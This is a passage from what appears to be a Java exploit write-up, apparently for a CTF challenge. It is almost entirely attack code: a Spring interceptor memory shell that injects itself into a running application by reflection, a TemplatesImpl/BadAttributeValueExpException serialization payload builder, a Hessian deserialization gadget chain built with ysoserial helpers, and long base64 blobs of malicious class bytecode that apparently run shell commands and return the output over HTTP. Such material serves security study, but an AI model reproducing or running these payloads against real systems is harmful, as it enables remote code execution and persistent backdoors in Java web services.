AIAPwAAADkAAQACAAAABSq3ACKxAAAAAgBAAAAABgABAAAASgBBAAAAFgACAAAABQBCAEMAAAAAAAUAcQBXAAEATQAAAAUBAHEAAAABAHIAcwADAD8AAAA/AAAAAwAAAAGxAAAAAgBAAAAABgABAAAATwBBAAAAIAADAAAAAQBCAEMAAAAAAAEAdAB1AAEAAAABAHYAdwACAEwAAAAEAAEAeABNAAAACQIAdAAAAHYAAAABAHIAeQADAD8AAABJAAAABAAAAAGxAAAAAgBAAAAABgABAAAAVABBAAAAKgAEAAAAAQBCAEMAAAAAAAEAdAB1AAEAAAABAHoAewACAAAAAQBIAHwAAwBMAAAABAABAHgATQAAAA0DAHQAAAB6AAAASAAAAAIAfQAAAAIAfgDdAAAACgABAJoAlwDcAAlwdAABMXB3AQB4eA=="; code = String.format("{\"code\":\"200\",\"message\":\"%s\"}", message); } String result = new Scanner(code).useDelimiter("\\A").next(); response.addHeader("Content-Type", "application/json;charset=UTF-8"); response.getWriter().write(result); response.getWriter().flush(); response.getWriter().close(); counter += 1; return false; } return true; } public ExploitInterceptor(){ try { ApplicationContext context = (ApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); org.springframework.web.servlet.handler.AbstractHandlerMapping requestMappingHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("requestMappingHandlerMapping"); Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); ArrayList<Object> adaptedInterceptors = (ArrayList <Object>) field.get(requestMappingHandlerMapping); for(int i = 0; i < adaptedInterceptors.size(); i++){ if (adaptedInterceptors.get(i) instanceof ExploitInterceptor){ System.out.println("ExploitInterceptor has been added"); return; } } ExploitInterceptor exploitInterceptor = new ExploitInterceptor("blabla"); adaptedInterceptors.add(exploitInterceptor); } catch (Exception e) { throw new RuntimeException(e); } } private ExploitInterceptor(String a){} } ``` For attack server: ```java TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = ClassPool.getDefault().get("Exploit2Interceptor").toBytecode(); Reflections.setFieldValue(templatesimpl,"_name","1"); Reflections.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); JSONObject jsonObject = new JSONObject(); jsonObject.put("xxxx", templatesimpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Reflections.setFieldValue(badAttributeValueExpException, "val", jsonObject); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(badAttributeValueExpException); oos.close(); String payloadBase64 = sun.misc.BASE64Encoder.class.newInstance().encode(baos.toByteArray()); System.out.println(payloadBase64.replaceAll("\\A", "")); ``` `Main.java` ```java package com.hessian; import com.alibaba.fastjson.JSONObject; import com.alipay.hessian.ClassNameResolver; import com.caucho.hessian.io.Hessian2Output; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.HessianOutput; import com.example.registry.data.Result; import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.org.apache.xpath.internal.objects.XStringForFSB; import io.swagger.v3.core.util.Json; import org.apache.naming.ResourceRef; import org.hibernate.metamodel.source.annotations.ReflectionHelper; import org.springframework.aop.target.HotSwappableTargetSource; import ysoserial.payloads.util.Reflections; import javax.naming.CannotProceedException; import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.naming.directory.DirContext; import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; public class Main { public static <T> byte[] serialize(T o) throws IOException, IOException { FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); ByteArrayOutputStream bao = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(bao); output.getSerializerFactory().setAllowNonSerializable(true); output.writeObject(o); output.close(); bao.writeTo(fileOutputStream); System.out.println(bao.toString()); return bao.toByteArray(); } public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); Hessian2Input input = new Hessian2Input(bai); Object o = input.readObject(); return (T) o; } public static void main(String[] args) throws Exception { Constructor constructor = Class.forName("javax.naming.spi.ContinuationDirContext").getDeclaredConstructors()[0]; constructor.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); Reflections.setFieldValue(cpe, "cause", null); Reflections.setFieldValue(cpe, "stackTrace", null); // base64 encode of ExploitInterceptor.class String b64payload = "yv66vgAAADQA0wsAMgBsCwAyAG0IAG4LAG8AcAgAcQoAcgBzCQAoAHQIAHUIAHYIAHcHAHgKAHIAeQcAegoADQB7CAB8CgANAH0KAA0AfggAfwgAgAsAgQCCCwCBAIMKAIQAhQoAhACGCgCEAIcKAAsAiAoAiQCKCACLCwCMAI0HAI4IAFcLAB0AjwcAkAgAWwoAkQCSCgCTAJQKAJMAlQcAlgoAJQCXCgAlAJgHAJkJAJoAmwgAnAoAnQCeCACfCgAoAHsKACUAoAcAoQcAogoAMACjBwCkAQAHY291bnRlcgEAAUkBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExFeHBsb2l0SW50ZXJjZXB0b3I7AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAA9hZnRlckNvbXBsZXRpb24BAHkoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvRXhjZXB0aW9uOylWAQACZXgBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHbWVzc2FnZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEABGNvZGUBAA1TdGFja01hcFRhYmxlBwClAQAGPGluaXQ+AQADKClWAQABaQEAB2NvbnRleHQBADBMb3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dDsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXJNYXBwaW5nOwEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMBABVMamF2YS91dGlsL0FycmF5TGlzdDsBABJleHBsb2l0SW50ZXJjZXB0b3IBAAFlAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAKUxqYXZhL3V0aWwvQXJyYXlMaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47BwCZBwCOBwCQBwCmBwCWBwChAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQABYQEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAF0V4cGxvaXRJbnRlcmNlcHRvci5qYXZhDAA1ADYMAEYARwEAAAcApwwAqACpAQASL2JsYWNrbGlzdC9qZGsvZ2V0BwClDACqAKsMADMANAEAo3siY29kZSI6IjIwMCIsIm1lc3NhZ2UiOiJyTzBBQlhOeUFCTnFZWFpoTG5WMGFXd3VRWEp5WVhsTWFYTjBlSUhTSFpuSFlaMERBQUZKQUFSemFYcGxlSEFBQUFBQmR3UUFBQUFCZEFBcGIzSm5MbXBpYjNOekxuQnliM2g1TG1WcVlpNW9ZVzVrYkdVdVNHOXRaVWhoYm1Sc1pVbHRjR3g0In0BJGxyTzBBQlhOeUFDNXFZWFpoZUM1dFlXNWhaMlZ0Wlc1MExrSmhaRUYwZEhKcFluVjBaVlpoYkhWbFJYaHdSWGhqWlhCMGFXOXUxT2ZhcTJNdFJrQUNBQUZNQUFOMllXeDBBQkpNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHQ0Y2dBVGFtRjJZUzVzWVc1bkxrVjRZMlZ3ZEdsdmJ0RDlIejRhT3h6RUFnQUFlSElBRTJwaGRtRXViR0Z1Wnk1VWFISnZkMkZpYkdYVnhqVW5PWGU0eXdNQUJFd0FCV05oZFhObGRBQVZUR3BoZG1FdmJHRnVaeTlVYUhKdmQyRmliR1U3VEFBTlpHVjBZV2xzVFdWemMyRm5aWFFBRWt4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzFzQUNuTjBZV05yVkhKaFkyVjBBQjViVEdwaGRtRXZiR0Z1Wnk5VGRHRmphMVJ5WVdObFJXeGxiV1Z1ZER0TUFCUnpkWEJ3Y21WemMyVmtSWGhqWlhCMGFXOXVjM1FBRUV4cVlYWmhMM1YwYVd3dlRHbHpkRHQ0Y0hFQWZnQUljSFZ5QUI1YlRHcGhkbUV1YkdGdVp5NVRkR0ZqYTFSeVlXTmxSV3hsYldWdWREc0NSaW84UFAwaU9RSUFBSGh3QUFBQUFYTnlBQnRxWVhaaExteGhibWN1VTNSaFkydFVjbUZqWlVWc1pXMWxiblJoQ2NXYUpqYmRoUUlBQkVrQUNteHBibVZPZFcxaVpYSk1BQTVrWldOc1lYSnBibWREYkdGemMzRUFmZ0FGVEFBSVptbHNaVTVoYldWeEFINEFCVXdBQ20xbGRHaHZaRTVoYldWeEFINEFCWGh3QUFBQUhIUUFCRTFoYVc1MEFBbE5ZV2x1TG1waGRtRjBBQVJ0WVdsdWMzSUFKbXBoZG1FdWRYUnBiQzVEYjJ4c1pXTjBhVzl1Y3lSVmJtMXZaR2xtYVdGaWJHVk1hWE4wL0E4bE1iWHNqaEFDQUFGTUFBUnNhWE4wY1FCK0FBZDRjZ0FzYW1GMllTNTFkR2xzTGtOdmJHeGxZM1JwYjI1ekpGVnViVzlrYVdacFlXSnNaVU52Ykd4bFkzUnBiMjRaUWdDQXkxNzNIZ0lBQVV3QUFXTjBBQlpNYW1GMllTOTFkR2xzTDBOdmJHeGxZM1JwYjI0N2VIQnpjZ0FUYW1GMllTNTFkR2xzTGtGeWNtRjVUR2x6ZEhpQjBoMlp4MkdkQXdBQlNRQUVjMmw2Wlhod0FBQUFBSGNFQUFBQUFIaHhBSDRBRlhoemNnQWZZMjl0TG1Gc2FXSmhZbUV1Wm1GemRHcHpiMjR1U2xOUFRrOWlhbVZqZEFBQUFBQUFBQUFCQWdBQlRBQURiV0Z3ZEFBUFRHcGhkbUV2ZFhScGJDOU5ZWEE3ZUhCemNnQVJhbUYyWVM1MWRHbHNMa2hoYzJoTllYQUZCOXJCd3haZzBRTUFBa1lBQ214dllXUkdZV04wYjNKSkFBbDBhSEpsYzJodmJHUjRjRDlBQUFBQUFBQU1kd2dBQUFBUUFBQUFBWFFBQkhoNGVIaHpjZ0E2WTI5dExuTjFiaTV2Y21jdVlYQmhZMmhsTG5oaGJHRnVMbWx1ZEdWeWJtRnNMbmh6YkhSakxuUnlZWGd1VkdWdGNHeGhkR1Z6U1cxd2JBbFhUOEZ1cktzekF3QUdTUUFOWDJsdVpHVnVkRTUxYldKbGNra0FEbDkwY21GdWMyeGxkRWx1WkdWNFd3QUtYMko1ZEdWamIyUmxjM1FBQTF0YlFsc0FCbDlqYkdGemMzUUFFbHRNYW1GMllTOXNZVzVuTDBOc1lYTnpPMHdBQlY5dVlXMWxjUUIrQUFWTUFCRmZiM1YwY0hWMFVISnZjR1Z5ZEdsbGMzUUFGa3hxWVhaaEwzVjBhV3d2VUhKdmNHVnlkR2xsY3p0NGNBQUFBQUQvLy8vL2RYSUFBMXRiUWt2OUdSVm5aOXMzQWdBQWVIQUFBQUFCZFhJQUFsdENyUE1YK0FZSVZPQUNBQUI0Y0FBQUZyeksvcnErQUFBQU5BRUhDd0E4QUg4TEFEd0FnQXNBZ1FDQ0NBQ0RDZ0FIQUlRS0FJVUFoZ2NBaHdnQWlBZ0FpUWdBaWdvQWhRQ0xDZ0NNQUkwSEFJNEtBQTBBandnQWtBb0FEUUNSQ2dBTkFKSUhBSk1LQUJJQWxBZ0FsUW9BRWdDV0NnQ1hBSmdLQUFjQW1Rb0FtZ0NiQ0FDY0NnQVNBSjBJQUo0SUFKOExBS0FBb1FzQW9BQ2lDZ0NqQUtRS0FLTUFwUW9Bb3dDbUNnQTdBSlFLQUtjQXFBZ0FxUXNBcWdDckJ3Q3NDQUJnQ3dBbUFLMEhBSzRJQUdRS0FLOEFzQW9Bc1FDeUNnQ3hBTE1IQUxRS0FDNEF0UW9BTGdDMkJ3QzNDUUM0QUxrSUFMb0tBTHNBdkFnQXZRb0FNUUMrQ2dBdUFMOEhBTUFIQU1FS0FEa0F3Z2NBd3djQXhBRUFDbkJ2YzNSSVlXNWtiR1VCQUpJb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMDF2WkdWc1FXNWtWbWxsZHpzcFZnRUFCRU52WkdVQkFBOU1hVzVsVG5WdFltVnlWR0ZpYkdVQkFCSk1iMk5oYkZaaGNtbGhZbXhsVkdGaWJHVUJBQVIwYUdsekFRQVZURVY0Y0d4dmFYUXlTVzUwWlhKalpYQjBiM0k3QVFBSGNtVnhkV1Z6ZEFFQUoweHFZWFpoZUM5elpYSjJiR1YwTDJoMGRIQXZTSFIwY0ZObGNuWnNaWFJTWlhGMVpYTjBPd0VBQ0hKbGMzQnZibk5sQVFBb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxPd0VBQjJoaGJtUnNaWElCQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBeHRiMlJsYkVGdVpGWnBaWGNCQUM1TWIzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlOYjJSbGJFRnVaRlpwWlhjN0FRQUtSWGhqWlhCMGFXOXVjd0VBRUUxbGRHaHZaRkJoY21GdFpYUmxjbk1CQUE5aFpuUmxja052YlhCc1pYUnBiMjRCQUhrb1RHcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsY1hWbGMzUTdUR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGMzQnZibk5sTzB4cVlYWmhMMnhoYm1jdlQySnFaV04wTzB4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU95bFdBUUFDWlhnQkFCVk1hbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZianNCQUFsd2NtVklZVzVrYkdVQkFHUW9UR3BoZG1GNEwzTmxjblpzWlhRdmFIUjBjQzlJZEhSd1UyVnlkbXhsZEZKbGNYVmxjM1E3VEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjM0J2Ym5ObE8weHFZWFpoTDJ4aGJtY3ZUMkpxWldOME95bGFBUUFDYVc0QkFCVk1hbUYyWVM5cGJ5OUpibkIxZEZOMGNtVmhiVHNCQUFadmRYUndkWFFCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBWnlaWE4xYkhRQkFBMVRkR0ZqYTAxaGNGUmhZbXhsQVFBR1BHbHVhWFErQVFBREtDbFdBUUFCYVFFQUFVa0JBQWRqYjI1MFpYaDBBUUF3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdlkyOXVkR1Y0ZEM5QmNIQnNhV05oZEdsdmJrTnZiblJsZUhRN0FRQWNjbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVad0VBUUV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMmhoYm1Sc1pYSXZRV0p6ZEhKaFkzUklZVzVrYkdWeVRXRndjR2x1WnpzQkFBVm1hV1ZzWkFFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpBUUFWVEdwaGRtRXZkWFJwYkM5QmNuSmhlVXhwYzNRN0FRQVRaWGh3Ykc5cGRESkpiblJsY21ObGNIUnZjZ0VBQVdVQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFBcFRHcGhkbUV2ZFhScGJDOUJjbkpoZVV4cGMzUThUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdQanNIQUxjSEFLd0hBSzRIQU1VSEFMUUhBTUFCQUJVb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWWUJBQUZoQVFBSmRISmhibk5tYjNKdEFRQnlLRXhqYjIwdmMzVnVMMjl5Wnk5aGNHRmphR1V2ZUdGc1lXNHZhVzUwWlhKdVlXd3ZlSE5zZEdNdlJFOU5PMXRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlaRzlqZFcxbGJuUUJBQzFNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNoaGJHRnVMMmx1ZEdWeWJtRnNMM2h6YkhSakwwUlBUVHNCQUFob1lXNWtiR1Z5Y3dFQVFsdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5elpYSnBZV3hwZW1WeUwxTmxjbWxoYkdsNllYUnBiMjVJWVc1a2JHVnlPd2NBeGdFQXBpaE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2hoYkdGdUwybHVkR1Z5Ym1Gc0wzaHpiSFJqTDBSUFRUdE1ZMjl0TDNOMWJpOXZjbWN2WVhCaFkyaGxMM2h0YkM5cGJuUmxjbTVoYkM5a2RHMHZSRlJOUVhocGMwbDBaWEpoZEc5eU8weGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDNObGNtbGhiR2w2WlhJdlUyVnlhV0ZzYVhwaGRHbHZia2hoYm1Sc1pYSTdLVllCQUFocGRHVnlZWFJ2Y2dFQU5VeGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlRzFzTDJsdWRHVnlibUZzTDJSMGJTOUVWRTFCZUdselNYUmxjbUYwYjNJN0FRQkJUR052YlM5emRXNHZiM0puTDJGd1lXTm9aUzk0Yld3dmFXNTBaWEp1WVd3dmMyVnlhV0ZzYVhwbGNpOVRaWEpwWVd4cGVtRjBhVzl1U0dGdVpHeGxjanNCQUFwVGIzVnlZMlZHYVd4bEFRQVlSWGh3Ykc5cGRESkpiblJsY21ObGNIUnZjaTVxWVhaaERBQTlBRDRNQUU0QVR3Y0F4d3dBeUFESkFRQUhMM04wWVhSMWN3d0F5Z0RMQndETURBRE5BTTRCQUJCcVlYWmhMMnhoYm1jdlUzUnlhVzVuQVFBSEwySnBiaTl6YUFFQUFpMWpBUUFKWTJGMElDOW1iR0ZuREFEUEFOQUhBTkVNQU5JQTB3RUFFV3BoZG1FdmRYUnBiQzlUWTJGdWJtVnlEQUJhQU5RQkFBSmNRUXdBMVFEV0RBRFhBTWtCQUJkcVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjZ3dBV2dCYkFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0EyQURaQndEYURBRGJBTjRNQU44QTRBY0E0UXdBNGdEakFRQUNJbjBNQU9RQXlRRUFERU52Ym5SbGJuUXRWSGx3WlFFQUhtRndjR3hwWTJGMGFXOXVMMnB6YjI0N1kyaGhjbk5sZEQxVlZFWXRPQWNBNVF3QTVnRG5EQURvQU9rSEFPb01BT3NBY0F3QTdBQmJEQUR0QUZzSEFPNE1BTzhBOEFFQU9XOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VkMlZpTG5ObGNuWnNaWFF1UkdsemNHRjBZMmhsY2xObGNuWnNaWFF1UTA5T1ZFVllWQWNBOFF3QThnRHpBUUF1YjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5amIyNTBaWGgwTDBGd2NHeHBZMkYwYVc5dVEyOXVkR1Y0ZEF3QTlBRDFBUUErYjNKbkwzTndjbWx1WjJaeVlXMWxkMjl5YXk5M1pXSXZjMlZ5ZG14bGRDOW9ZVzVrYkdWeUwwRmljM1J5WVdOMFNHRnVaR3hsY2sxaGNIQnBibWNIQVBZTUFQY0ErQWNBeFF3QStRRDZEQUQ3QVB3QkFCTnFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBEQUQ5QVA0TUFQc0Evd0VBRTBWNGNHeHZhWFF5U1c1MFpYSmpaWEIwYjNJSEFRQU1BUUVCQWdFQUhsUmxiWEJKYm5SbGNtTmxjSFJ2Y2lCb1lYTWdZbVZsYmlCaFpHUmxaQWNCQXd3QkJBQndBUUFHWW14aFlteGhEQUJhQUhBTUFRVUF5d0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFCcHFZWFpoTDJ4aGJtY3ZVblZ1ZEdsdFpVVjRZMlZ3ZEdsdmJnd0FXZ0VHQVFCQVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMM0oxYm5ScGJXVXZRV0p6ZEhKaFkzUlVjbUZ1YzJ4bGRBRUFNbTl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2ZDJWaUwzTmxjblpzWlhRdlNHRnVaR3hsY2tsdWRHVnlZMlZ3ZEc5eUFRQVhhbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRQkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUNWcVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWEYxWlhOMEFRQU5aMlYwVW1WeGRXVnpkRlZTU1FFQUZDZ3BUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFHWlhGMVlXeHpBUUFWS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsYUFRQVJhbUYyWVM5c1lXNW5MMUoxYm5ScGJXVUJBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdBUUFFWlhobFl3RUFLQ2hiVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1V4cVlYWmhMMnhoYm1jdlVISnZZMlZ6Y3pzQkFCRnFZWFpoTDJ4aGJtY3ZVSEp2WTJWemN3RUFEbWRsZEVsdWNIVjBVM1J5WldGdEFRQVhLQ2xNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzQkFCZ29UR3BoZG1FdmFXOHZTVzV3ZFhSVGRISmxZVzA3S1ZZQkFBeDFjMlZFWld4cGJXbDBaWElCQUNjb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVJ1WlhoMEFRQUdZWEJ3Wlc1a0FRQXRLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXNZVzVuTDFOMGNtbHVaMEoxYVd4a1pYSTdBUUFRYW1GMllTOTFkR2xzTDBKaGMyVTJOQUVBQ21kbGRFVnVZMjlrWlhJQkFBZEZibU52WkdWeUFRQU1TVzV1WlhKRGJHRnpjMlZ6QVFBY0tDbE1hbUYyWVM5MWRHbHNMMEpoYzJVMk5DUkZibU52WkdWeU93RUFDR2RsZEVKNWRHVnpBUUFFS0NsYlFnRUFHR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNnRUFEbVZ1WTI5a1pWUnZVM1J5YVc1bkFRQVdLRnRDS1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3dFQUNIUnZVM1J5YVc1bkFRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwWlhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKaWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3QVFBUGFtRjJZUzlzWVc1bkwwTnNZWE56QVFBUVoyVjBSR1ZqYkdGeVpXUkdhV1ZzWkFFQUxTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTl5Wldac1pXTjBMMFpwWld4a093RUFEWE5sZEVGalkyVnpjMmxpYkdVQkFBUW9XaWxXQVFBRFoyVjBBUUFtS0V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBUnphWHBsQVFBREtDbEpBUUFWS0VrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQVFhbUYyWVM5c1lXNW5MMU41YzNSbGJRRUFBMjkxZEFFQUZVeHFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRPd0VBRTJwaGRtRXZhVzh2VUhKcGJuUlRkSEpsWVcwQkFBZHdjbWx1ZEd4dUFRQURZV1JrQVFBWUtFeHFZWFpoTDJ4aGJtY3ZWR2h5YjNkaFlteGxPeWxXQUNFQU1RQTdBQUVBUEFBQUFBY0FBUUE5QUQ0QUF3QS9BQUFBWUFBRkFBVUFBQUFLS2lzc0xSa0V0d0FCc1FBQUFBSUFRQUFBQUFvQUFnQUFBQmdBQ1FBWkFFRUFBQUEwQUFVQUFBQUtBRUlBUXdBQUFBQUFDZ0JFQUVVQUFRQUFBQW9BUmdCSEFBSUFBQUFLQUVnQVNRQURBQUFBQ2dCS0FFc0FCQUJNQUFBQUJBQUJBRGdBVFFBQUFCRUVBRVFBQUFCR0FBQUFTQUFBQUVvQUFBQUJBRTRBVHdBREFEOEFBQUJnQUFVQUJRQUFBQW9xS3l3dEdRUzNBQUt4QUFBQUFnQkFBQUFBQ2dBQ0FBQUFIUUFKQUI0QVFRQUFBRFFBQlFBQUFBb0FRZ0JEQUFBQUFBQUtBRVFBUlFBQkFBQUFDZ0JHQUVjQUFnQUFBQW9BU0FCSkFBTUFBQUFLQUZBQVVRQUVBRXdBQUFBRUFBRUFPQUJOQUFBQUVRUUFSQUFBQUVZQUFBQklBQUFBVUFBQUFBRUFVZ0JUQUFNQVB3QUFBU01BQlFBSEFBQUFqaXU1QUFNQkFCSUV0Z0FGbVFDQnVBQUdCcjBBQjFrREVnaFRXUVFTQ1ZOWkJ